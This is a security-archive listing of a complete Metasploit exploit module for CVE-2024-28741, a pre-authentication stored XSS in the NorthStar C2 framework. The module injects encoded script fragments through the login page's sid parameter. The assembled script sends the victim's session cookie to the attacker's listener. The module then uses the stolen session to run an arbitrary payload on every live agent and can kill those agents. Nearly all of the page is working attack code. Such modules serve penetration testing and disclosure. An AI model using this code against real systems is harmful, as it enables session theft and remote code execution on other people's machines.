Lucene search

K
packetstormH00die, chebuya, metasploit.comPACKETSTORM:178660
HistoryMay 22, 2024 - 12:00 a.m.

NorthStar C2 Cross Site Scripting / Code Execution

2024-05-2200:00:00
h00die, chebuya, metasploit.com
packetstormsecurity.com
174
metasploit
remote code execution
stored xss
northstar c2
vulnerability
unauthenticated
simulation
session takeover
ubuntu
windows 10
exploit
commit 7674a44
test
html
csrf token

7.4 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

53.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NorthStar C2 XSS to Agent RCE',  
'Description' => %q{  
NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is  
vulnerable to a stored xss.  
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.  
With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts  
(agents), and kill the original agent.  
  
Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on  
Ubuntu 22.04. The agent was running on Windows 10 19045.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'chebuya' # original PoC, analysis  
],  
'DefaultOptions' => {  
'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads  
},  
'References' => [  
[ 'URL', 'https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/' ],  
[ 'URL', 'https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc' ],  
[ 'URL', 'https://github.com/EnginDemirbilek/NorthStarC2/commit/7674a4457fca83058a157c03aa7bccd02f4a213c'],  
[ 'CVE', '2024-28741']  
],  
'Platform' => ['win'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2024-03-12',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [EVENT_DEPENDENT],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of the NorthStar C2 Application', '/']),  
OptBool.new('KILL', [ false, 'Kill the NorthStar C2 agent', false])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'getin.php'),  
'method' => 'GET'  
)  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
return CheckCode::Detected('NorthStar Login page detected') if res.body.include? '<title>The NorthStar Login</title>'  
  
CheckCode::Safe('NorthStar C2 Login page not detected')  
end  
  
def steal_agents(cookie)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'clients.php'),  
'headers' => {  
'cookie' => "PHPSESSID=#{cookie}"  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
soup = Nokogiri::HTML(res.body)  
rows = soup.css('tr')  
  
agent_table = Rex::Text::Table.new(  
'Header' => 'Live Agents',  
'Indent' => 1,  
'Columns' =>  
[  
'ID',  
'IP',  
'OS',  
'Username',  
'Hostname',  
'Status'  
]  
)  
  
rows.each do |row|  
cells = row.css('td')  
next if cells.length != 9  
  
status = cells[7].text.strip  
next if status != 'Online'  
  
agent_id = cells[1].text.strip  
agent_ip = cells[2].text.strip  
hostname = cells[5].text.strip  
  
agent_table << [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip]  
report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "Northstar C2 Agent Deployed, callback: #{datastore['RHOST']}")  
end  
  
fail_with(Failure::NotFound, 'No live agents to exploit') if agent_table.rows.empty?  
  
print_good(agent_table.to_s)  
  
script_tags = soup.css('script')  
  
csrf_token = nil  
script_tags.each do |script_tag|  
if script_tag.text.include?('csrfToken')  
csrf_token = script_tag.text.split('"')[1]  
break  
end  
end  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find CSRF token") unless csrf_token  
  
vprint_good("CSRF Token: #{csrf_token}")  
  
agent_table.rows.each do |agent|  
agent_id = agent[0]  
hostname = agent[4]  
print_status("(#{agent_id}) Stealing #{hostname}")  
  
vprint_status(" (#{agent_id}) Enabling shell mode")  
agent_exec(agent_id, csrf_token, cookie, 'enablecmd')  
vprint_status(" (#{agent_id}) Running payload")  
agent_exec(agent_id, csrf_token, cookie, payload.encoded)  
vprint_status(" (#{agent_id}) Disabling shell mode")  
agent_exec(agent_id, csrf_token, cookie, 'disablecmd')  
next unless datastore['KILL']  
  
vprint_status(" (#{agent_id}) Killing NorthStar payload")  
agent_exec(agent_id, csrf_token, cookie, 'die')  
end  
end  
  
def agent_exec(agent_id, csrf_token, cookie, command)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'functions', 'setCommand.nonfunction.php'),  
'method' => 'POST',  
'headers' => {  
'cookie' => "PHPSESSID=#{cookie}"  
},  
'vars_post' => {  
'slave' => agent_id,  
'command' => command,  
'sid' => agent_id,  
'token' => csrf_token  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
  
# 1min seems enough, NorthStar mentions 4_000ms response times...  
(2 * 60).times do  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'getresponse.php'),  
'headers' => {  
'cookie' => "PHPSESSID=#{cookie}"  
},  
'vars_get' => {  
'slave' => agent_id  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if !res.body.empty? || command == 'die'  
vprint_good(" Command sent successfully to agent #{agent_id}, response: #{res.body}")  
return  
end  
Rex.sleep(0.5)  
end  
end  
  
def on_request_uri(cli, request)  
if request.method == 'GET' && @xss_response_received == false  
vprint_status('Received GET request.')  
return unless request.uri.include? '='  
  
cookie = request.uri.split('PHPSESSID=')[1]  
print_good("Received cookie: #{cookie}")  
send_response_html(cli, '')  
@xss_response_received = true  
steal_agents(cookie)  
end  
send_response_html(cli, '')  
end  
  
def xor_strings(text, key)  
text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join  
end  
  
def srvhost  
datastore['SRVHOST']  
end  
  
def primer  
@xss_response_received = false  
vprint_status('Sending XSS')  
# divide up the host length so that it fits in our payload  
h1 = srvhost[0...srvhost.length / 2]  
h2 = srvhost[srvhost.length / 2..]  
sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']  
sid_payloads.each do |pload|  
pload = "N#{pload}q"  
vprint_status("Sending: #{pload}")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.php'),  
'method' => 'POST',  
'vars_get' => {  
'sid' => Rex::Text.encode_base64(xor_strings(pload, 'northstar'))  
}  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200  
end  
print_status('Waiting on XSS execution')  
end  
  
def exploit  
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0  
fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']  
super  
end  
end  
`

7.4 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

53.0%